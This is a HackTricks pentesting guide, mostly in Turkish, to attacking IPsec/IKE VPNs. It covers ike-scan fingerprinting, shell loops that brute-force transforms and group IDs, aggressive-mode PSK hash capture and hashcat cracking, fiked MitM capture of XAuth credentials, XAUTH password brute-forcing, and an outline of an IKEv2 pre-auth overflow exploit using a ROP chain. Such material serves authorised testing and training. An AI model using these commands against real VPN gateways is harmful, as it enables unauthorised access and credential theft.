500/udp - Pentesting IPsec/IKE VPN

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Temel Bilgiler

IPsec ağlar arası iletişimi (LAN-to-LAN) ve uzak kullanıcıların ağa erişimini (remote access) güvence altına almak için kullanılan başlıca teknoloji olarak geniş ölçüde kabul edilir ve kurumsal VPN çözümlerinin omurgasını oluşturur.

İki nokta arasında bir security association (SA) kurulması IKE tarafından yönetilir; IKE, kimlik doğrulama ve anahtar değişimi için tasarlanmış bir protokol olan ISAKMP şemsiyesi altında çalışır. Bu süreç birkaç aşamada gerçekleşir:

  • Phase 1: İki uç nokta arasında güvenli bir kanal oluşturulur. Bu, Pre-Shared Key (PSK) veya sertifikalar kullanılarak; üç çift mesaj içeren main mode veya aggressive mode ile sağlanır.
  • Phase 1.5: Zorunlu olmamakla birlikte, Extended Authentication Phase olarak bilinen bu aşama, bağlanmaya çalışan kullanıcının kimliğini kullanıcı adı ve parola talep ederek doğrular.
  • Phase 2: Bu aşama, veriyi güvenli hale getirmek için gereken parametrelerin ESP ve AH ile müzakere edilmesine ayrılmıştır. Güvenliği artırmak için Phase 1’dekilerden farklı algoritmaların kullanılmasına ve Perfect Forward Secrecy (PFS) sağlanmasına olanak tanır.

Varsayılan port: 500/udp

Ayrıca sıkça açık durumda olan: 4500/udp (NAT Traversal)

Hizmeti keşfedin nmap kullanarak

root@bt:~# nmap -sU -p 500 172.16.21.200
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
Nmap scan report for 172.16.21.200
Host is up (0.00036s latency).
PORT    STATE SERVICE
500/udp open  isakmp
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)

Geçerli bir dönüşüm bulma

IPSec yapılandırması yalnızca bir veya birkaç dönüşümü kabul edecek şekilde hazırlanmış olabilir. Bir dönüşüm değerlerin kombinasyonudur. Her transform DES veya 3DES gibi özniteliklere sahip olabilir; örneğin DES veya 3DES olarak şifreleme algoritması, SHA veya MD5 olarak bütünlük algoritması, pre-shared key olarak kimlik doğrulama türü, Diffie-Hellman 1 veya 2 olarak anahtar dağıtım algoritması ve 28800 saniye olarak süre.

Bunun için yapmanız gereken ilk şey, sunucunun sizinle konuşması için geçerli bir dönüşüm bulmaktır. Bunu yapmak için ike-scan aracını kullanabilirsiniz. Varsayılan olarak, Ike-scan main mode’da çalışır ve bir ISAKMP header ile gateway’e bir paket gönderir; paket tek bir proposal içerir ve içinde sekiz transform bulunur.

Alınan yanıta bağlı olarak endpoint hakkında bazı bilgiler edinebilirsiniz:

root@bt:~# ike-scan -M 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=d90bf054d6b76401)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify

As you can see in the previous response, there is a field called AUTH with the value PSK. This means that the vpn is configured using a preshared key (and this is really good for a pentester).
The value of the last line is also very important:

  • 0 returned handshake; 0 returned notify: Bu, hedefin bir IPsec gateway olmadığı anlamına gelir.
  • 1 returned handshake; 0 returned notify: Bu, hedefin IPsec için yapılandırıldığını ve IKE negotiation yapmaya istekli olduğunu, ve önerdiğiniz transforms’lardan biri veya daha fazlasının kabul edilebilir olduğunu gösterir (geçerli bir transform çıktı içinde gösterilecektir).
  • 0 returned handshake; 1 returned notify: VPN gateways, hiçbir transform kabul edilebilir olmadığında notify mesajı ile yanıt verir (ancak bazı gateway’ler bunu yapmaz; bu durumda ek analiz ve gözden geçirilmiş bir teklif denenmelidir).

Then, in this case we already have a valid transformation but if you are in the 3rd case, then you need to brute-force a little bit to find a valid transformation:

First of all you need to create all the possible transformations:

for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done

Ardından her birini ike-scan kullanarak brute-force edin (bu birkaç dakika sürebilir):

while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt

Eğer brute-force işe yaramadıysa, sunucu geçerli transforms’lara bile handshakes olmadan yanıt veriyor olabilir. Bu durumda aynı brute-force’u aggressive mode kullanarak deneyebilirsiniz:

while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt

Umarım geçerli bir dönüşüm geri yansıtılır.
iker.py kullanarak same attack’ı deneyebilirsiniz.
Ayrıca dönüşümleri brute force ile ikeforce kullanarak deneyebilirsiniz:

./ikeforce.py <IP> # No parameters are required for scan -h for additional help

DH Group: 14 = 2048-bit MODP ve 15 = 3072-bit
2 = HMAC-SHA = SHA1 (bu durumda). --trans formatı $Enc,$Hash,$Auth,$DH

Cisco, DH groups 1 ve 2’nin yeterince güçlü olmadığını belirtiyor; bu grupların kullanılmasından kaçınılmalı. Uzmanlar, yüksek kaynaklara sahip ülkelerin bu zayıf grupları kullanan verilerin şifrelemesini kolayca kırabileceğine inanıyor. Bu, şifreleri hızlıca kırmaya hazırlayan özel bir yöntem kullanılarak yapılır. Bu yöntemi kurmanın maliyeti yüksek olsa da, bu güçlü ülkelere 1.024-bit veya daha küçük gibi zayıf bir grup kullanılıyorsa şifrelenmiş veriyi gerçek zamanlı olarak okuma imkanı verir.

Server fingerprinting

Ardından, cihazın üreticisini tespit etmek için ike-scan kullanabilirsiniz. Araç bir ilk teklif gönderir ve tekrar etmeyi durdurur. Daha sonra sunucudan alınan mesajlar ile eşleşen yanıt deseni arasında oluşan zaman farkını analiz ederek, pentester VPN gateway üreticisini başarıyla parmak izi çıkarabilir. Ayrıca bazı VPN sunucuları IKE ile opsiyonel Vendor ID (VID) payload kullanır.

Gerekirse geçerli dönüşümü belirtin (using –trans)

IKE hangi üretici olduğunu tespit ederse bunu yazdırır:

root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=4f3ec84731e2214a)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

IKE Backoff Patterns:

IP Address       No.  Recv time            Delta Time
172.16.21.200    1    1322286031.744904    0.000000
172.16.21.200    2    1322286039.745081    8.000177
172.16.21.200    3    1322286047.745989    8.000908
172.16.21.200    4    1322286055.746972    8.000983
172.16.21.200    Implementation guess: Cisco VPN Concentrator

Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify

Bu, nmap scripti ike-version ile de gerçekleştirilebilir.

IKEv2-özgü: WatchGuard Vendor ID version fingerprinting

Bazı IKEv2 daemon’ları, IKE_SA_INIT yanıtında standart dışı Vendor ID payload’ları içerir. WatchGuard Fireware OS, appliance sürümünü/build bilgisini doğrudan VID içine kodlar; bu da tek paketlik, pre-auth fingerprinting’e olanak tanır.

  • Taşıma: UDP/500 (ve NAT-T için UDP/4500)
  • Paket: IKE_SA_INIT yanıtı bir veya daha fazla Vendor ID payload içerir
  • WatchGuard formatı: 32-byte hash, ardından base64 gelir; bu base64 çözüldüğünde örn. VN=12.11.3 BN=719894 elde edilir

WatchGuard VID payload’ından alınan örnek ham byte’lar (son 12 byte base64):

00000000: bfc2 2e98 56ba 9936 11c1 1e48 a6d2 0807  ....V..6...H....
00000010: a95b edb3 9302 6a49 e60f ac32 7bb9 601b  .[....jI...2{.`.
00000020: 566b 3439 4d54 4975 4d54 4575 4d79 4243  Vk49MTIuMTEuMyBC
00000030: 546a 3033 4d54 6b34 4f54 513d            Tj03MTk4OTQ=

base64 tail’e sahip olduğunuzda shell’de hızlı çıkarım:

echo 'Vk49MTIuMTEuMyBCTj03MTk4OTQ=' | base64 -d
# VN=12.11.3 BN=719894

Notlar

  • Bu herhangi bir IKEv2 RFC’sinin parçası değildir. Açığa çıkmış/zayıf Fireware OS sürümlerinin hızlı kapsam belirlemesi için bunu bir satıcıya özgü davranış (vendor quirk) olarak değerlendirin.
  • Sadece bir IKE_SA_INIT yanıtı almanız yeterlidir; herhangi bir kimlik doğrulama gerekmez.

Finding the correct ID (group name)

Hash’i yakalayabilmek için Aggressive mode’u destekleyen geçerli bir transformation ve doğru ID (grup adı) gerekir. Muhtemelen geçerli grup adını bilmiyor olacaksınız, bu yüzden onu brute-force etmeniz gerekecek.
Bunu yapmak için size 2 yöntem öneririm:

Bruteforcing ID with ike-scan

Öncelikle hash’i toplamaya çalışmak için sahte bir ID ile bir istek yapmayı deneyin (“-P”):

ike-scan -P -M -A -n fakeID <IP>

Eğer hiç hash dönmüyorsa, muhtemelen bu brute forcing yöntemi işe yarayacaktır. Eğer bazı hash döndürülüyorsa, bu sahte bir ID için sahte bir hash geri gönderileceği anlamına gelir; bu nedenle bu yöntem güvenilir olmaz ID’yi brute-force etmek için. Örneğin, sahte bir hash döndürülebilir (bu modern sürümlerde olur):

Ancak dediğim gibi, hiç hash dönmüyorsa, yaygın grup adlarını brute-force etmek için ike-scan kullanmayı denemelisiniz.

Bu script muhtemel ID’leri brute-force etmeye çalışacak ve geçerli bir handshake döndürülen ID’leri geri verecektir (bu geçerli bir grup adı olacaktır).

Eğer belirli bir dönüşüm keşfettiyseniz, onu ike-scan komutuna ekleyin. Birden fazla dönüşüm keşfettiyseniz, hepsini denemek için yeni bir döngü eklemekten çekinmeyin (biri düzgün çalışana kadar hepsini denemelisiniz).

Bu yaygın grup adlarını brute-force etmek için dictionary of ikeforce veya the one in seclists kullanabilirsiniz:

while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt

Iker ile Bruteforcing ID

iker.py ayrıca olası grup isimlerini bruteforce etmek için ike-scan’i kullanır. Kendi yöntemini takip ederek ike-scan çıktısına dayanarak geçerli bir ID bulur.

ikeforce ile Bruteforcing ID

ikeforce.py ayrıca ID’leri brute force etmek için kullanılabilecek bir araçtır. Bu araç, geçerli bir ID ile geçersiz bir ID’yi ayırt etmek için kullanılabilecek farklı zafiyetleri denemeye çalışacaktır (yanlış pozitifler ve yanlış negatifler olabilir; bu yüzden mümkünse ike-scan yöntemini kullanmayı tercih ediyorum).

Varsayılan olarak ikeforce başlangıçta sunucunun davranışını kontrol etmek ve kullanılacak taktiği belirlemek için bazı rastgele id’ler gönderir.

  • Birinci yöntem, grup isimlerini brute-force etmek için Cisco sistemlerinin Dead Peer Detection DPD bilgisini arama yöntemidir (bu bilgi yalnızca grup adı doğruysa sunucu tarafından yanıtlanır).
  • İkinci yöntem, bazen doğru id kullanıldığında daha fazla paket gönderildiği için her denemeye gönderilen yanıt sayısını kontrol etme yöntemidir.
  • Üçüncü yöntem, yanlış ID’ye verilen yanıtta “INVALID-ID-INFORMATION” aramaktan oluşur.
  • Son olarak, sunucu kontroller için hiçbir şey yanıtlamıyorsa, ikeforce sunucuyu brute force etmeye çalışacak ve doğru id gönderildiğinde sunucunun bazı paketlerle yanıt verip vermediğini kontrol edecektir.
    Açıkçası, id’yi brute force etmenin amacı geçerli bir id elde ettiğinizde PSK’yi almak. Daha sonra id ve PSK ile XAUTH (etkinse) brute force etmeniz gerekecek.

Eğer belirli bir dönüşüm keşfettiyseniz, bunu ikeforce komutuna ekleyin. Birden fazla dönüşüm keşfettiyseniz, hepsini denemek için yeni bir döngü eklemekten çekinmeyin (doğru şekilde çalışana kadar hepsini denemelisiniz).

git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic

Sniffing ID

(From the book Network Security Assessment: Know Your Network): VPN istemcisi ile sunucu arasındaki bağlantıyı sniffing yaparak geçerli kullanıcı adlarını elde etmek de mümkündür, çünkü client ID içeren ilk aggressive mode paketi açık olarak gönderilir

Aggressive Mode identity leakage

Aggressive Mode, gateway doğru PSK’yı seçebilsin diye ID’yi erken göndermek zorundadır; bu, multiple groups/users olduğunda geçerlidir. Bu, identity is exposed pre-auth anlamına gelir; Main Mode’un aksine o modda kimlik daha sonraki paketlerde şifrelenir. Bunu hızlıca çıkarabilirsiniz:

ike-scan -A <IP>
# Look for: ID(Type=ID_USER_FQDN, Value=ike@corp.tld)

Eğer Aggressive Mode etkinse, crackable PSK handshake yakalayın ve bunu çevrimdışı crack edin (hashcat mode 5400):

ike-scan -A --pskcrack=handshake.txt <IP>
hashcat -m 5400 handshake.txt /path/to/wordlist.txt

Kurtarılan PSK’ler genellikle diğer hizmetlerde (SSH, VPN client auth) kimlik bilgisi olarak reused olur; bu yüzden bunları açıkta olan hizmetlere karşı test edin.

Capturing & cracking the hash

Son olarak, eğer bir valid transformation ve group name bulduysanız ve aggressive mode izinliyse, çok kolay bir şekilde crackable hash’i elde edebilirsiniz:

ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor

Hash hash.txt dosyasına kaydedilecek.

Hash’i crack etmek için psk-crack, john (kullanarak ikescan2john.py) ve hashcat kullanabilirsiniz:

psk-crack -d <Wordlist_path> psk.txt

XAuth

Aggressive mode IKE ile birlikte kullanılan Pre-Shared Key (PSK) genellikle grup kimlik doğrulaması amaçları için kullanılır. Bu yönteme XAuth (Extended Authentication) eklenir; bu, ek bir kullanıcı kimlik doğrulaması katmanı sağlar. Bu tür kimlik doğrulama genellikle Microsoft Active Directory, RADIUS veya benzeri sistemler gibi hizmetleri kullanır.

IKEv2’ye geçişte, EAP (Extensible Authentication Protocol)’in kullanıcıları doğrulamak için XAuth yerine kullanıldığı dikkate değer bir değişim görülür. Bu değişiklik, güvenli iletişim protokollerindeki kimlik doğrulama uygulamalarında bir evrimi vurgular.

Local network MitM to capture credentials

Bu şekilde giriş verilerini fiked kullanarak yakalayabilir ve herhangi bir varsayılan kullanıcı adı olup olmadığını görebilirsiniz (sniffing için IKE trafiğini fiked’e yönlendirmeniz gerekir; bu ARP spoofing yardımıyla yapılabilir, more info). Fiked bir VPN uç noktası olarak davranacak ve XAuth kimlik bilgilerini yakalayacaktır:

fiked -g <IP> -k testgroup:secretkey -l output.txt -d

Ayrıca, IPSec kullanarak bir MitM saldırısı gerçekleştirmeyi deneyin ve port 500’e giden tüm traffic’i engelleyin; eğer IPSec tunnel kurulamazsa traffic muhtemelen clear olarak gönderilecektir.

Brute-forcing XAUTH username ve password ile ikeforce

XAUTH’yi brute force etmek için (geçerli bir grup adı id ve psk bildiğinizde) bir username veya username listesi ve bir password listesi kullanabilirsiniz:

./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]

Bu şekilde, ikeforce her username:password kombinasyonunu kullanarak bağlanmayı deneyecektir.

Eğer bir veya birkaç geçerli transform bulduysanız, önceki adımlarda olduğu gibi bunları kullanın.

IPSEC VPN ile Kimlik Doğrulama

Kali’de, VPNC IPsec tünelleri oluşturmak için kullanılır. profile’ler /etc/vpnc/ dizininde bulunmalıdır. Bu profilleri vpnc komutuyla başlatabilirsiniz.

Aşağıdaki komutlar ve yapılandırmalar, VPNC ile bir VPN bağlantısı kurma sürecini göstermektedir:

root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
IPSec gateway [VPN_GATEWAY_IP]
IPSec ID [VPN_CONNECTION_ID]
IPSec secret [VPN_GROUP_SECRET]
IKE Authmode psk
Xauth username [VPN_USERNAME]
Xauth password [VPN_PASSWORD]
STOP
root@system:~# vpnc samplevpn
VPNC started in background (pid: [PID])...
root@system:~# ifconfig tun0

In this setup:

  • Replace [VPN_GATEWAY_IP] with the actual IP address of the VPN gateway.
  • Replace [VPN_CONNECTION_ID] with the identifier for the VPN connection.
  • Replace [VPN_GROUP_SECRET] with the VPN’s group secret.
  • Replace [VPN_USERNAME] and [VPN_PASSWORD] with the VPN authentication credentials.
  • [PID] symbolizes the process ID that will be assigned when vpnc initiates.

Ensure that actual, secure values are used to replace the placeholders when configuring the VPN.

IKEv2 exploitation notes: pre-auth IDi/CERT processing bugs

Modern VPN appliances often expose IKEv2 on UDP/500 (and UDP/4500 for NAT-T). A common pre-authentication attack surface is the parsing of Identification (IDi) and Certificate payloads during IKE_SA_AUTH.

High-level exploitation flow when a vulnerable IKEv2 parser exists:

  • Send a valid IKE_SA_INIT to negotiate transforms and complete Diffie–Hellman.
  • Follow with IKE_SA_AUTH carrying an IDi that triggers the bug (e.g., an oversized Identification copied into a fixed-size stack buffer before certificate validation).
  • Resulting memory corruption can yield saved-register and return-address control.
  • With NX enabled but other mitigations missing (no PIE/canaries), build a ROP chain to call mprotect on a stack page and then pivot execution to injected shellcode or to a resident interpreter (e.g., /usr/bin/python3) if no /bin/sh is available.

Example default transforms observed on some IKEv2 appliances (WatchGuard Fireware OS 12.11.3):

  • SHA2-256–AES(256-bit) with DH Group 14
  • SHA1–AES(256-bit) with DH Group 5
  • SHA1–AES(256-bit) with DH Group 2
  • SHA1–3DES with DH Group 2

Practical tips

  • Target both UDP/500 and UDP/4500; NAT-T servers may reply only on 4500.
  • Increase receive buffer and timeouts for UDP-based scanners to avoid packet loss.
  • If the service exposes custom Vendor IDs (see section above), use them to quickly fingerprint vulnerable versions before attempting any exploit traffic.

Reference Material

Shodan

  • port:500 IKE
  • port:4500 "UDP"
  • udp port:500,4500 "WatchGuard"

References

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin